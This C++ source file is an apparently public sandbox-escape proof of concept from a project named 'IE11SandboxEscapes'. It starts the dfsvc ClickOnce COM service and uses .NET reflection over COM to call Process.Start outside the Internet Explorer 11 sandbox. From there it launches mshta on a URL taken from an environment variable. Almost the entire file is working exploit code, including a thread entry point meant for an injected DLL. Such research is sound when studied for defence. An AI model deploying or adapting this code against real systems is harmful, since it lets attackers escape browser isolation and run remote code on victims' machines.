201 lines
4.7 KiB
C++
201 lines
4.7 KiB
C++
|
// This file is part of IE11SandboxEsacapes.
|
||
|
|
||
|
// IE11SandboxEscapes is free software: you can redistribute it and/or modify
|
||
|
// it under the terms of the GNU General Public License as published by
|
||
|
// the Free Software Foundation, either version 3 of the License, or
|
||
|
// (at your option) any later version.
|
||
|
|
||
|
// IE11SandboxEscapes is distributed in the hope that it will be useful,
|
||
|
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||
|
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||
|
// GNU General Public License for more details.
|
||
|
|
||
|
// You should have received a copy of the GNU General Public License
|
||
|
// along with IE11SandboxEscapes. If not, see <http://www.gnu.org/licenses/>.
|
||
|
|
||
|
#include "stdafx.h"
|
||
|
|
||
|
#define MAX_ENV 32767
|
||
|
|
||
|
#import <mscorlib.tlb> rename("ReportEvent", "_ReportEvent")
|
||
|
|
||
|
const wchar_t CLSID_DFSVC[] = L"{20FD4E26-8E0F-4F73-A0E0-F27B8C57BE6F}";
|
||
|
|
||
|
long GetSafeArrayLen(LPSAFEARRAY psa)
|
||
|
{
|
||
|
long ubound = 0;
|
||
|
|
||
|
SafeArrayGetUBound(psa, 1, &ubound);
|
||
|
|
||
|
return ubound + 1;
|
||
|
}
|
||
|
|
||
|
mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR findName, int pcount)
|
||
|
{
|
||
|
LPSAFEARRAY methods = type->GetMethods_2();
|
||
|
mscorlib::_MethodInfoPtr ret;
|
||
|
LONG methodCount = GetSafeArrayLen(methods);
|
||
|
|
||
|
for (long i = 0; i < methodCount; ++i)
|
||
|
{
|
||
|
IUnknown* v = nullptr;
|
||
|
|
||
|
if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v)))
|
||
|
{
|
||
|
mscorlib::_MethodInfoPtr method = v;
|
||
|
|
||
|
bstr_t name = method->Getname();
|
||
|
LPSAFEARRAY params = method->GetParameters();
|
||
|
long paramCount = GetSafeArrayLen(params);
|
||
|
|
||
|
if (method->IsStatic && wcscmp(name.GetBSTR(), findName) == 0 && paramCount == pcount)
|
||
|
{
|
||
|
ret = method;
|
||
|
break;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
SafeArrayDestroy(methods);
|
||
|
|
||
|
return ret;
|
||
|
}
|
||
|
|
||
|
template<typename T> T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector<variant_t>& args)
|
||
|
{
|
||
|
variant_t obj;
|
||
|
T retObj;
|
||
|
|
||
|
SAFEARRAY * psa;
|
||
|
SAFEARRAYBOUND rgsabound[1];
|
||
|
|
||
|
rgsabound[0].lLbound = 0;
|
||
|
rgsabound[0].cElements = (ULONG)args.size();
|
||
|
psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound);
|
||
|
|
||
|
for (LONG indicies = 0; indicies < (LONG)args.size(); ++indicies)
|
||
|
{
|
||
|
SafeArrayPutElement(psa, &indicies, &args[indicies]);
|
||
|
}
|
||
|
|
||
|
variant_t ret = method->Invoke_3(obj, psa);
|
||
|
|
||
|
if ((ret.vt == VT_UNKNOWN) || (ret.vt == VT_DISPATCH))
|
||
|
{
|
||
|
retObj = ret.punkVal;
|
||
|
}
|
||
|
|
||
|
SafeArrayDestroy(psa);
|
||
|
|
||
|
return retObj;
|
||
|
}
|
||
|
|
||
|
bstr_t GetExploitUrl()
|
||
|
{
|
||
|
WCHAR buf[MAX_ENV];
|
||
|
|
||
|
GetEnvironmentVariable(L"MYURL", buf, MAX_ENV);
|
||
|
|
||
|
return buf;
|
||
|
}
|
||
|
|
||
|
void DoDfsvcExploit()
|
||
|
{
|
||
|
CLSID clsid;
|
||
|
|
||
|
CLSIDFromString(CLSID_DFSVC, &clsid);
|
||
|
|
||
|
DebugPrintf("Starting DFSVC Exploit\n");
|
||
|
|
||
|
mscorlib::_ObjectPtr obj;
|
||
|
|
||
|
HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj));
|
||
|
|
||
|
if (FAILED(hr))
|
||
|
{
|
||
|
WCHAR cmdline[] = L"dfsvc.exe";
|
||
|
|
||
|
STARTUPINFO startInfo = { 0 };
|
||
|
PROCESS_INFORMATION procInfo = { 0 };
|
||
|
|
||
|
// Start dfsvc (because we can due to the ElevationPolicy)
|
||
|
if (CreateProcess(L"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe", cmdline,
|
||
|
nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo))
|
||
|
{
|
||
|
CloseHandle(procInfo.hProcess);
|
||
|
CloseHandle(procInfo.hThread);
|
||
|
|
||
|
// Just sleep to ensure it comes up
|
||
|
Sleep(4000);
|
||
|
hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj));
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
DebugPrintf("Couldn't create service %d\n", GetLastError());
|
||
|
}
|
||
|
}
|
||
|
|
||
|
if (SUCCEEDED(hr))
|
||
|
{
|
||
|
try
|
||
|
{
|
||
|
mscorlib::_TypePtr type = obj->GetType();
|
||
|
|
||
|
// Get type of Type (note defaults to RuntimeType then TypeInfo)
|
||
|
type = type->GetType()->BaseType->BaseType;
|
||
|
|
||
|
DebugPrintf("TypeName: %ls", type->FullName.GetBSTR());
|
||
|
|
||
|
mscorlib::_MethodInfoPtr getTypeMethod = GetStaticMethod(type, L"GetType", 1);
|
||
|
|
||
|
DebugPrintf("getTypeMethod: %p", (void*)getTypeMethod);
|
||
|
|
||
|
std::vector<variant_t> getTypeArgs;
|
||
|
|
||
|
getTypeArgs.push_back(L"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089");
|
||
|
|
||
|
// Get process type
|
||
|
type = ExecuteMethod<mscorlib::_TypePtr>(getTypeMethod, getTypeArgs);
|
||
|
|
||
|
if (type)
|
||
|
{
|
||
|
mscorlib::_MethodInfoPtr startMethod = GetStaticMethod(type, L"Start", 2);
|
||
|
|
||
|
if (startMethod)
|
||
|
{
|
||
|
std::vector<variant_t> startArgs;
|
||
|
|
||
|
startArgs.push_back(L"mshta");
|
||
|
startArgs.push_back(GetExploitUrl());
|
||
|
|
||
|
ExecuteMethod<mscorlib::_ObjectPtr>(startMethod, startArgs);
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
DebugPrintf("Couldn't find Start method");
|
||
|
}
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
DebugPrintf("Couldn't find Process Type");
|
||
|
}
|
||
|
}
|
||
|
catch (_com_error e)
|
||
|
{
|
||
|
DebugPrintf("COM Error: %ls\n", e.ErrorMessage());
|
||
|
}
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
DebugPrintf("Error get dfsvc IUnknown: %08X\n", hr);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
DWORD CALLBACK ExploitThread(LPVOID hModule)
|
||
|
{
|
||
|
CoInitialize(nullptr);
|
||
|
DoDfsvcExploit();
|
||
|
CoUninitialize();
|
||
|
|
||
|
FreeLibraryAndExitThread((HMODULE)hModule, 0);
|
||
|
}
|